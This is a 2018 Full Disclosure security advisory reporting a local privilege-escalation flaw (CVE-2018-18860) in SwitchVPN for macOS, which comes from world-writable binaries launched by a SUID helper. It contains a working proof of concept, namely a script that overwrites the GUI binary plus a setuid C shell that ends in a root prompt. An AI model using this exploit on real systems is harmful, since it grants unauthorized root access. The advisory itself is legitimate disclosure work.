[<prev] [next>] [day] [month] [year] [list]
Message-ID: <CAGxWVr79TxHpobbXh6LJqyaSnxz151+1w1KrsAPNFjZygq8bGg@mail.gmail.com>
Date: Mon, 12 Nov 2018 13:28:59 +0100
From: Bernd Leitner <bernd.leitner@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] SwitchVPN MacOS Privilege Escalation Vulnerability
=======================================================================
Title: Privilege Escalation Vulnerability
Product: SwitchVPN for MacOS
Vulnerable version: 2.1012.03
CVE ID: CVE-2018-18860
Impact: Critical
Homepage: https://switchvpn.net/
Identified: 2018-09-29
By: Bernd Leitner (bernd.leitner [at] gmail dot com)
=======================================================================
Vendor description:
-------------------
"By 2015 we were frustrated that the free internet we loved was under
threat.
As experts in online security we believed we could solve this problem. So we
came together as a team to make SwitchVPN, a simple and powerful app to keep
the internet free. SwitchVPN is simple. Install it on your phone, tablet or
laptop, then just switch it on to keep the internet free. SwitchVPN is
powerful.
Our exclusive VPN Service technology is constantly being upgraded by a
dedicated
team of internet security experts."
Source: https://switchvpn.net/
Business recommendation:
------------------------
By exploiting the vulnerability documented in this advisory, an attacker
can fully compromise a MacOS system with an installation of the SwitchVPN
client.
Users are urged to uninstall the SwitchVPN client for MacOS until the
issues have
been fixed.
Vulnerability overview/description:
-----------------------------------
1) Privilege Escalation Vulnerability (reserved CVE-2018-18860)
After installation or an update, the script "fix_permissions.sh" is run by
the application. This script changes the owner of the main application
binaries
to root and sets them to world-writable. Additionally, the SUID bit is set
for
another sensitive binary in the application folder. This configuration
makes it
very easy to escalate privileges to root.
After the installation or update of SwitchVPN, the following script is run:
============================================================================================
...
switchvpn_updater.dat
mb:MacOS b$ file switchvpn_updater.dat
switchvpn_updater.dat: Qt Binary Resource file
...
if (systemInfo.kernelType === "darwin") {
console.log("Run permissions\n");
component.addElevatedOperation("Execute",
"/Applications/SwitchVPN/SwitchVPN.app/Contents/MacOS/fix_permissions.sh");
}
...
============================================================================================
mb:MacOS b$ cat fix_permissions.sh
#!/bin/sh
chown -R root /Applications/SwitchVPN/SwitchVPN.app/
chgrp -R admin /Applications/SwitchVPN/SwitchVPN.app/
chmod -R 777 /Applications/SwitchVPN/SwitchVPN.app/
chmod -R u+s /Applications/SwitchVPN/SwitchVPN.app/Contents/MacOS/compose8
============================================================================================
This leads to an overpermissive application configuration:
============================================================================================
mb:MacOS b$ ls -al
total 18720
drwxrwxrwx 35 root admin 1120 Sep 29 20:39 .
drwxrwxrwx 16 root admin 512 Sep 29 20:39 ..
-rwxrwxrwx 1 root admin 106224 Oct 12 2017 SwitchVPN
-rwxrwxrwx 1 root admin 4693216 Oct 12 2017 SwitchVPN_GUI
-r-xr-xr-x 1 root wheel 2859376 Oct 12 2017 compose
-r-xr-xr-x 1 root wheel 29184 Oct 12 2017 compose10
-r-xr-xr-x 1 root wheel 29184 Oct 12 2017 compose11
-r-xr-xr-x 1 root wheel 59152 Oct 12 2017 compose3
-r-xr-xr-x 1 root wheel 39008 Oct 12 2017 compose4
-r-xr-xr-x 1 root wheel 587776 Oct 12 2017 compose6
-r-xr-xr-x 1 root wheel 278848 Oct 12 2017 compose7
-r-sr-xr-x 1 root wheel 22800 Oct 12 2017 compose8
-r-xr-xr-x 1 root wheel 19056 Oct 12 2017 compose9
-r-xr-xr-x 1 root wheel 132160 Oct 12 2017 composec
-r-xr-xr-x 1 root wheel 510464 Oct 12 2017 composecn
-r-xr-xr-x 1 root wheel 5632 Oct 12 2017 down.sh
-rwxrwxrwx 1 root admin 245 Oct 12 2017 fix_permissions.sh
-rw-r--r-- 1 root admin 56 Sep 29 20:39 log.txt
-r-xr-xr-x 1 root wheel 39050 Oct 12 2017 up.sh
============================================================================================
Further investigation shows, that the "SwitchVPN_GUI" binary is run as root:
============================================================================================
mb:MacOS b$ ps aux | grep -i switch
root 15165 4.6 0.4 4515952 72912 ?? S 8:39PM
0:08.84 SwitchVPN_GUI
============================================================================================
After statically analysing the "SwitchVPN" binary, it became clear, that it
runs the "compose8" SUID root binary. Further analysis showed, that
"compose8"
subsequently runs the "SwitchVPN_GUI" binary and since it's world-writable,
an
attacker can exploit the situation to escalate privileges.
============================================================================================
# SwitchVPN -> compose8
...add rdx, [rdx+10h]
lea rsi, aCompose8_0 ; "compose8"
lea rcx, aSwitchvpn ; "SwitchVPN"
xor r9d, r9d
xor eax, eax
mov rdi, rbx ; char *
mov r8, r14
call _execl
...
============================================================================================
============================================================================================
# compose8 -> SwitchVPN_GUI
...
lea rsi, aCompose8WillIn ; "Compose8 will invoke GUI app %s, %s\n"
xor eax, eax
mov rdx, rbx
mov rcx, r12
call _fprintf
cmp r15d, 4
lea rdx, aB ; "-b"
cmovnz rdx, r14
xor ecx, ecx
xor eax, eax
mov rdi, rbx ; char *
mov rsi, r12 ; char *
call _execl
...
============================================================================================
Running the "SwitchVPN" binary from the command line confirms the issue:
============================================================================================
./SwitchVPN
This app (compose8) invoked with args:
/Applications/SwitchVPN/SwitchVPN.app/Contents/MacOS, SwitchVPN
Compose8 will invoke GUI app
/Applications/SwitchVPN/SwitchVPN.app/Contents/MacOS/SwitchVPN_GUI,
SwitchVPN_GUI
============================================================================================
Proof of concept:
-----------------
1) Privilege Escalation Vulnerability
A situation like the one described above provides a wide range of
possibilities for escalating privileges to root. A quick and easy way is to
write the following shell script to "SwitchVPN_GUI":
============================================================================================
#!/bin/bash
chown root /tmp/shell
chmod 4755 /tmp/shell
============================================================================================
Create and compile the following execve() based shell:
============================================================================================
#include <stdlib.h>
#include <unistd.h>
main () {
setuid(0);
seteuid(0);
setgid(0);
execve("/bin/sh", 0, 0);
}
gcc shell.c -o shell
============================================================================================
Copy the shell binary to an attacker controlled location (e.g. /tmp).
Start the "SwitchVPN.app" as a local, unprivileged user. Afterwards the
execution of /tmp/shell will drop the user/attacker to a root shell:
============================================================================================
-rwsr-xr-x 1 root wheel 8576 Sep 29 20:34 shell
-rw-r--r-- 1 b wheel 127 Sep 29 20:33 shell.c
bash-3.2$ whoami
b
bash-3.2$ ./shell
bash-3.2# whoami
root
============================================================================================
Vulnerable / tested versions:
-----------------------------
The following version has been tested and found to be vulnerable: 2.1012.03.
Earlier versions might be vulnerable as well.
Vendor contact timeline:
------------------------
2018-10-04: Requested security contact via https://switchvpn.net
2018-10-10: Contacted vendor through mark@...tchvpn.com
2018-10-17: Requested status update from vendor
2018-10-30: Sent new contact details & public PGP key to mark@...tchvpn.com
2018-10-31: Requested status update from vendor
2018-11-12: Informed vendor about advisory release
Solution:
---------
None.
Workaround:
-----------
None.
EOF B. Leitner / @2018
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/
Powered by blists - more mailing lists